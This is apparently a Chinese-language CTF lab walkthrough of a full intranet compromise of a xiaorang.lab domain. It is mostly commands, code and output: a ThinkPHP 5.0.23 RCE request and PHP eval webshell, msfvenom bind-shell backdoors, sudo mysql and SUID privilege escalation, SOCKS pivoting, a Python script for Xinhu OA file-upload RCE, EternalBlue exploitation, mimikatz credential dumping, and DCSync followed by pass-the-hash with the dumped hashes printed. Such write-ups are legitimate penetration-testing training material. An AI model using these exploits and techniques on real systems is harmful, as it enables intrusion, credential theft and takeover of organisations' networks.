Initial
flag1
先用fscan扫一下
./fscan -h 39.99.138.127 -nobr(-nobr设置不爆破弱口令)
172.22.1.15
扫出来有poc-yaml-thinkphp5023-method-rce poc1
【RCE | BUUCTF】ThinkPHP 5.0.23 远程代码执行漏洞复现 - –Kisaragi– - 博客园
POST /index.php?s=captcha HTTP/1.1
Host: localhost
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 72
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id #传入的参数
echo '<?php eval(\$_POST[cmd]); ?>' > /var/www/html/webshell.php
msf连接
但是蚁剑的shell不好用,用msf再建立一个连接,也方便后续流量转发。因为我们已知公网ip,于是用正向shell.
先本地生成一个正向shell的64位后门
msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=7654 -f elf -o 7.elf
将7.elf
拖到蚁剑上然后赋权
chmod +x 7.elf +x 表示给所有用户(所有者、所属组、其他用户)添加可执行权限(777过就不用了)
chmod +x filename(给所有用户添加执行权限)
chmod u+x filename(只给所有者添加执行权限)
chmod g+x filename(只给所属组添加执行权限)
chmod 777 7.elf
./7.elf
777 是数字权限表示法,三个数字分别对应文件所有者、所属组用户和其他用户的权限
每个数字的含义:4 代表读权限(r),2 代表写权限(w),1 代表执行权限(x)
7 是 4+2+1 的总和,表示同时拥有读、写、执行三种权限
接着用msf即可
use exploit/multi/handler
#加载 Metasploit 的 "多用途处理器" 模块,这是一个监听模块,用于接收来自#目标主机的反向连接或绑定连接。
set payload linux/x64/meterpreter/bind_tcp
#设置攻击载荷(payload)为linux/x64/meterpreter/bind_tcp:
#linux/x64:针对 64 位 Linux 系统
#meterpreter:一种高级交互式 shell,提供文件操作、进程控制等功能
#bind_tcp:绑定连接模式(目标主机开放端口等待攻击者连接,与反向连接#reverse_tcp对应)
set rhost 39.99.138.127
#设置rhost(远程主机)为目标 IP 地址,即要连接的受害主机 IP。
set lport 4567
#在bind_tcp模式下,lport实际是目标主机开放的端口(攻击者将连接到该端口)。
run
#执行监听,等待与目标主机的bind_tcp载荷建立连接,成功后获得 #meterpreter 会话。
即可创meterpreter 会话。
传完后来拿flag.
先
sudo -l
Matching Defaults entries for www-data on ubuntu-web01:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User www-data may run the following commands on ubuntu-web01:
(root) NOPASSWD: /usr/bin/mysql
当前 www-data 用户在 ubuntu-web01 主机上拥有以下 sudo 权限:可以以 root 用户身份执行 /usr/bin/mysql 命令;NOPASSWD 标志表示执行该命令时不需要输入密码。
sudo mysql -e '\! find / -name flag*'
以 root 权限启动 MySQL 客户端(因为
www-data
用户有 NOPASSWD 权限执行mysql
)在 MySQL 客户端中执行
\!
命令,这会调用系统 shell 执行后面的命令实际执行的系统命令是
find / -name flag*
(全局查找文件名以 flag 开头的文件)在 MySQL 客户端中,
-e
是执行命令的参数,用于在非交互式模式下运行 MySQL 命令并退出。而
\!
是 MySQL 客户端中的一个特殊命令,作用是执行系统 shell 命令
sudo mysql -e '\! cat /root/flag/flag01.txt'
flag{60b53231-
sudo 提权
sudo
(Superuser Do)是 Linux 系统中用于以其他用户身份(通常是 root 身份)执行命令的工具 ,其核心配置文件为 /etc/sudoers
,管理员可通过 visudo
命令(安全编辑该文件,可避免语法错误导致权限问题)进行权限分配。比如配置 user1 ALL=(root) NOPASSWD: /usr/bin/apt-get
,意味着用户 user1
无需输入密码,就能以 root 权限执行 apt-get
命令 。
当发现某用户克用sudo运行某些命令,可以利用这些命令提权到root
sudo /usr/bin/vim
如果vim可以用sudo运行,就能在vim里执行:!sh
获取root shell
SUID 提权
原理:SUID(Set User ID),是一种文件权限位,允许普通用户以文件拥有者(通常是 root)的身份执行该程序。SUID 权限标志为 s,例如 -rwsr - xr - x。只需执行程序,无需输入密码。
利用方式:先查找系统中的 SUID 文件 find /-perm - 4000 2 > /dev/null,
如果某些程序(如 python、vim、perl、find、bash 等)具有 SUID,并且本身可逃逸为 shell,则普通用户运行时会直接获得 root 权限。比如,若 /usr/bin/vim 有 SUID 权限,你用普通用户运行 vim,执行 :!sh,就是 root shell;也可以利用 SUID 程序的漏洞提权(比如 SUID 的 C 程序有命令注入)。
例如,系统中的 /bin/passwd
文件,其所有者是 root,并且设置了 SUID 权限。普通用户执行 passwd
命令来修改自己的密码时,实际上是以 root 权限来访问和修改 /etc/shadow
文件(该文件只有 root 用户才有读和写的权限) ,从而实现密码修改。
检测方法:
在 Linux 系统中,可以使用以下命令来查找设置了 SUID 权限的文件:
find / -perm -u=s -type f 2>/dev/null
其中,/
表示从根目录开始查找;-perm -u=s
用于筛选出设置了 SUID 权限的文件;-type f
限定查找的对象是普通文件;2>/dev/null
则是将错误信息(比如没有权限访问某些目录而产生的报错)重定向到 /dev/null
,即忽略错误信息。
利用方法
利用可逃逸为 shell 的程序
:如果某些常见程序(如
vim
、find
、bash
、perl
、python
等)被设置了 SUID 权限,并且这些程序具备一定的特性,能让用户从中逃逸并获取到具有高权限的 shell,就可以实现提权。vim
示例:当/usr/bin/vim
拥有 SUID 权限时,普通用户打开 vim,然后执行:!sh
,就能得到一个 root 权限的 shell。这是因为 vim 在执行外部命令时,会继承自身的权限,而此时 vim 具有 root 的 SUID 权限,所以执行的 shell 也拥有 root 权限。find
示例:当find
程序被设置了 SUID 权限,普通用户可以执行类似这样的命令find . -exec /bin/sh \; -quit
。find
命令的-exec
选项可以让它在找到的文件上执行指定的命令,这里执行/bin/sh
,由于find
具备 SUID 权限,从而得到 root 权限的 shell。
sudo 提权 | SUID 提权 | |
---|---|---|
配置 | 由 /etc/sudcers 管理 | 由文件权限(SUID 位)管理 |
认证 | 通常需要密码(或 NOPASSWD) | 不需要密码 |
入口 | 用 sudo 执行指定命令 | 直接执行 SUID 程序 |
灵活性 | sudoers 精细控制命令粒度 | SUID 只控制程序本身 |
安全性 | 更安全,日志健全 | 一旦配置错误风险极大 |
常见利用 | sudo 结合能逃逸的程序 | SUID 结合能逃逸的程序 |
flag2
看一下网段
ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 172.22.1.15 netmask 255.255.0.0 broadcast 172.22.255.255
inet6 fe80::216:3eff:fe16:c270 prefixlen 64 scopeid 0x20<link>
ether 00:16:3e:16:c2:70 txqueuelen 1000 (Ethernet)
RX packets 697240 bytes 381845267 (381.8 MB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 534548 bytes 209973517 (209.9 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 35960 bytes 16528880 (16.5 MB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 35960 bytes 16528880 (16.5 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
可看到是172.22.1.15。
上传fscan
chmod +x fscan
./fscan -h 172.22.1.0/24 >mao.txt (默认是在result.txt)
在
./fscan -h 172.22.1.0/24 >mao.txt
这个命令里,172.22.1.0/24
是一种CIDR(无类别域间路由,Classless Inter-Domain Routing)表示法,用于标识一个 IP 地址段 ,具体含义如下:
172.22.1.0
是这个网段的网络地址 ,它是该网段的起始标识,在网络中代表这个特定的网络区域。
/24
表示子网掩码中二进制的 1 的位数 。在 IPv4 地址中,IP 地址由 32 位二进制数组成,子网掩码用于区分网络地址和主机地址 。
子网掩码换算:
/24
意味着子网掩码中有 24 个 1,8 个 0 ,用点分十进制表示就是255.255.255.0
。可分配主机地址范围计算
:
- 对于
172.22.1.0/24
这个网段,网络地址是172.22.1.0
,广播地址是通过将主机位全部置为 1 得到,即172.22.1.255
。- 可用于分配给主机(如服务器、电脑、网络设备等)的 IP 地址范围是
172.22.1.1
到172.22.1.254
,一共可以容纳2^(32 - 24) - 2 = 254
个主机地址 。减去 2 是因为要去掉网络地址和广播地址,它们不能分配给具体的主机使用。在
fscan
这款综合扫描工具中,使用172.22.1.0/24
,就表示让fscan
对172.22.1.1
到172.22.1.254
这个范围内的所有 IP 地址进行扫描 ,扫描结果会通过>
重定向到mao.txt
文件中保存。
start infoscan
trying RunIcmp2
The current user permissions unable to send icmp packets
start ping
(icmp) Target 172.22.1.2 is alive DC域控
(icmp) Target 172.22.1.21 is alive MS17-010永恒之蓝
(icmp) Target 172.22.1.15 is alive 本体
(icmp) Target 172.22.1.18 is alive 信呼OA系统
[*] Icmp alive hosts len is: 4
172.22.1.18:445 open
172.22.1.21:445 open
172.22.1.2:445 open
172.22.1.18:3306 open
172.22.1.18:139 open
172.22.1.21:139 open
172.22.1.2:139 open
172.22.1.18:135 open
172.22.1.21:135 open
172.22.1.2:135 open
172.22.1.18:80 open
172.22.1.15:80 open
172.22.1.2:88 open
172.22.1.15:8001 open
172.22.1.15:22 open
[*] alive ports len is: 15
start vulscan
[*] NetInfo
[*]172.22.1.2
[->]DC01
[->]172.22.1.2
[*] NetInfo
[*]172.22.1.18
[->]XIAORANG-OA01
[->]172.22.1.18
[*] OsInfo 172.22.1.2 (Windows Server 2016 Datacenter 14393)
[*] NetInfo
[*]172.22.1.21
[->]XIAORANG-WIN7
[->]172.22.1.21
[*] WebTitle http://172.22.1.15 code:200 len:5578 title:Bootstrap Material Admin
[*] NetBios 172.22.1.21 XIAORANG-WIN7.xiaorang.lab Windows Server 2008 R2 Enterprise 7601 Service Pack 1
[*] NetBios 172.22.1.2 [+] DC:DC01.xiaorang.lab Windows Server 2016 Datacenter 14393
[*] NetBios 172.22.1.18 XIAORANG-OA01.xiaorang.lab Windows Server 2012 R2 Datacenter 9600
[+] MS17-010 172.22.1.21 (Windows Server 2008 R2 Enterprise 7601 Service Pack 1)
[*] WebTitle http://172.22.1.18 code:302 len:0 title:None 跳转url: http://172.22.1.18?m=login
[*] WebTitle http://172.22.1.18?m=login code:200 len:4012 title:信呼协同办公系统
[+] PocScan http://172.22.1.15 poc-yaml-thinkphp5023-method-rce poc1
已完成 15/15
[*] 扫描结束,耗时: 15.122671303s
后门端口从54522开始,流量转发端口从55555开始
socks5流量转发
cd "/mnt/d/软件工具/渗透/tools/tools/Stotaway-bin/Stotaway-bin"
用stowaway开一个stocks5服务。让ubuntu上的流量通过“stowaway”走到172.22.1.15,只要再配置好浏览器代理,我们就可以访问172.22.1.15同一内网下别的主机提供的web服务了。同理,蚁剑,msf等攻击流量也可以走socks5,攻击内网里其他主机。
topo
use 0
socks 12345
这是在ubuntu开了123456的socks服务器,然后转发到0上,因此还需对浏览器/蚁剑/proxychains设置代理,将攻击流量转到12345端口。
vim /etc/proxychains4.conf
socks5 127.0.0.1 12345(要注释掉不需要的代理)
测试链接:
proxychains4 curl -v http://172.22.1.18/?m=login
成功返回网页html的话,说明流量转发成功。
./linux_x64_admin -c 39.99.138.127:7879 -s 123
chmod +x 文件名 增加权限
chmod 777 文件名 给所有用户加权限
/var/www/html/linux_x64_agent -l 7879 -s 123
topo
use 0
help
forward 8084 172.22.1.18:80(映射)
172.22.1.18
172.22.1.18是信呼OA,发现有弱密钥登陆admin/admin123
/#信呼安装后默认存在账号diaochan/xiaoqiao/daqiao/rock/zhangfei/zhaozl等用户,密码都是123456
如图filecontid为17,即访问task.php?m=qcloudCos|runt&a=run&fileid=17
一开始的图片为上传路径
upload/2025-07/31_21454761.php?1=system("whoam");
还可以
import requests
session = requests.session()
url_pre = 'http://172.22.1.18/'
url1 = url_pre + '/?a=check&m=login&d=&ajaxbool=true&rnd=533953'
url2 = url_pre + '/index.php?m=upfile&a=upload&d=&public=1&maxsize=100&ajaxbool=true&rnd=798913'
url3 = url_pre + '/task.php?m=qc1oudcos&runt&a=run&fileid=11'
data1 = {
'rempass': '0',
'jmpass': 'false',
'device': '1625884034525',
'type': '0',
'adminuser': 'yWwtaW4=',
'adminpass': 'yWwtaW4xMjM=',
'yanzm': ''
}
r = session.post(url1, data=data1)
r = session.post(url2, files={'file': open('1.php', 'r+')})
filepath = str(r.json()['filepath'])
filepath = "/" + filepath.split('.up temp')[0] + '.php'
id = r.json()['id']
url3 = url_pre + f'/task.php?m=qc1oudcos&runt&a=run&fileid={id}'
r = session.get(url3)
r = session.get(url_pre + filepath + "?1=system('dir')")
print(r.text)
print(r1filepath)
用 proxychains 跑脚本
proxychains4 python3 2.py
以同样方式生成后门并链接后门
然后本地生成一个正向shell的windows的64位后门msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=8765 -f exe -o 77.exe
然后蚁剑上传
配置msf
proxychains msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set rhost 172.22.1.18
set lport 8765
run
172.22.1.21
flag3
因为扫出127.022.1.21有永恒之蓝,所以用proxychains和msf直接打
MS17-010(Eternal blue永恒之蓝)漏洞利用+修复方法-CSDN博客
proxychains msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp_uuid
set RHOSTS 172.22.1.21
exploit
直接获得shell
还可以ms17_010_command,这里还需要一些参数,我们去18那个机器拿,因为18机器运行gituid后发现为system权限,所以可以利用kiwi模块(使用kiwi模块需要system权限),然后用creds_all获取所有凭证load kiwi
creds_all
Username Domain NTLM SHA1
-------- ------ ---- ----
Charles XIAORANG f6a9881cd5ae709abb4ac9ab87f24617 99439e2268d0f5063928f523d5d44c8d69be7e34
XIAORANG-OA01$ XIAORANG dc5f050393a7cc83e0518b8015b8b65d fc0612848c69ce0b4f2afc76e506289e4bc97bd8
XIAORANG-OA01$ XIAORANG d87c972fc49ec955dd227c1c1ec1beff e33a635b6cc6c39931023ed2b49805207d7cf57e
这里我们通过XIAORANG-OA01$的NTLM进行伪造,注意,两个NTLM都试一遍,有一个是失效的,同时设置smbpass由于格式为LM:NTLM,但是LM不重要,所以用0填充
proxychains msfconsole
use auxiliary/admin/smb/ms17_010_command (search ms17_010_command)
set payload windows/x64/meterpreter/bind_tcp
set rhosts 172.22.1.21
set smbpass 00000000000000000000000000000000:d87c972fc49ec955dd227c1c1ec1beff
set smbdomain XIAORANG.LAB
set smbuser XIAORANG-OA01\$
set commond whoami
exploit
后续可以利用SMB等方法将后门发上传上去后远程执行即可获取meterpertre
172.22.1.2
然后进行DCSync攻击
DCSync利用原理:
利用DRS(Directory Replication Service)协议通过IDL_DRSGetNCChanges从域控制器复制用户凭据
要想使用 DCSync 必须获得以下任一用户的权限:
Administrators 组内的用户
Domain Admins 组内的用户
Enterprise Admins 组内的用户域控制器的计算机帐户
我们回到一开始 fscan 的扫描结果,我们用永恒之蓝打下的这台机子是 enterprise 用户,也就是说满足 DCSync 攻击的条件
load kiwi
- 作用:在 Meterpreter 会话中加载 Kiwi 模块(Mimikatz 的 Metasploit 集成版本),该模块用于抓取系统密码、哈希值、票据等敏感信息。
- 前提:需要获得系统的管理员权限(通常是 SYSTEM 权限)才能正常加载和使用。
kiwi_cmd lsadump::dcsync /domain:xiaorang.lab /all /csv
这是通过 Kiwi 模块调用 Mimikatz 的
lsadump::dcsync
命令,主要用于从域控制器(DC)同步用户凭证信息:
lsadump::dcsync
:利用域内复制机制(DCSync)从域控制器提取用户哈希等信息,无需直接在 DC 上执行命令。/domain:xiaorang.lab
:指定目标域为xiaorang.lab
。/all
:提取域内所有用户的信息。/csv
:以 CSV 格式输出结果,便于后续处理。
导出域内哈希
load kiwi
kiwi_cmd lsadump::dcsync /domain:xiaorang.lab /all /csv
[DC] 'xiaorang.lab' will be the domain
[DC] 'DC01.xiaorang.lab' will be the DC server
[DC] Exporting domain 'xiaorang.lab'
[rpc] Service : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)
502 krbtgt fb812eea13a18b7fcdb8e6d67ddc205b 514
1106 Marcus e07510a4284b3c97c8e7dee970918c5c 512
1107 Charles f6a9881cd5ae709abb4ac9ab87f24617 512
1000 DC01$ 4e5dbcda5175afea09f2af7c2026a595 532480
500 Administrator 10cf89a850fb1cdbe6bb432b859164c8 512
1104 XIAORANG-OA01$ d87c972fc49ec955dd227c1c1ec1beff 4096
1108 XIAORANG-WIN7$ 95d6ad215e1b8d5b63ba9726e9e556b6 4096
获得了Administrator的hash,再利用crackmapexec进行hash传递(PTH:pass the hash)即可
proxychains4 -f /etc/proxychains4.conf crackmapexec smb 172.22.1.2 -u administrator -H 10cf89a850fb1cdbe6bb432b859164c8 -d xiaorang.lab -x "type Users\Administrator\flag\flag03.txt"
/#还是proxychains4自己看看